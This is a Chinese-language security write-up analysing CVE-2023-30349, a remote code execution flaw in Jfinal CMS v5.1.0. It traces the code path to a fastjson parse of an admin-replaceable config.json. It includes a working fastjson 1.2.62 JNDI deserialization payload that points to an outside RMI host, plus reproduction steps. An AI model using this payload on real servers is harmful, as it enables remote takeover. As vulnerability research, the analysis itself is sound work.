Jfinal CMS v5.1.0 RCE(CVE-2023-30349)分析

#前言

Jfinal cms是一个java开发的功能强大的信息咨询网站,采用了简洁强大的JFinal作为web框架,模板引擎用的是beetl,数据库用mysql,前端bootstrap框架。

漏洞分析

在ueditor路由中,会实例化ActionEnter类。

1684922368740.png

在这个过程中,调用了ActionEnter的有参构造函数,调用了ConfigManager.getInstance()方法

1684922488752.png

继续跟进,通过new实例化ConfigManager对象并返回

1684922566171.png

继续跟进ConfigManager的构造函数,最后是调用了initEnv()

1684922669225.png

这里调用了JSONObject.parseObject(),如果configContent变量可控,在合适的fastjson版本下,可能存在反序列化漏洞。

1684922722325.png
1684922824306.png
1684922980275.png
1684922999091.png

发现该文件存放在WEB-INF/classes/config.json,而后台又恰好有模版管理,可以替换该文件!

1684923093869.png

此时我们就发现了fastjson的前置利用条件,此时我们去看一下fastjson的版本。

1684923192498.png

1.2.62版本payload以及利用条件:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://172.20.10.8:1099/jy8jp6"}

  • 需要开启autotype
  • 需要引入org.apache.xbean依赖

这就有点鸡肋了.....

漏洞复现

引入org.apache.xbean依赖并开启autotype

1684923344124.png
1684923380876.png

然后登陆后台替换WEB-INF/classes/config.json

1684923572321.png

然后访问http://localhost:8089/jfinal_cms/ueditor,即可触发漏洞。

xs9a5-uyo2f.gif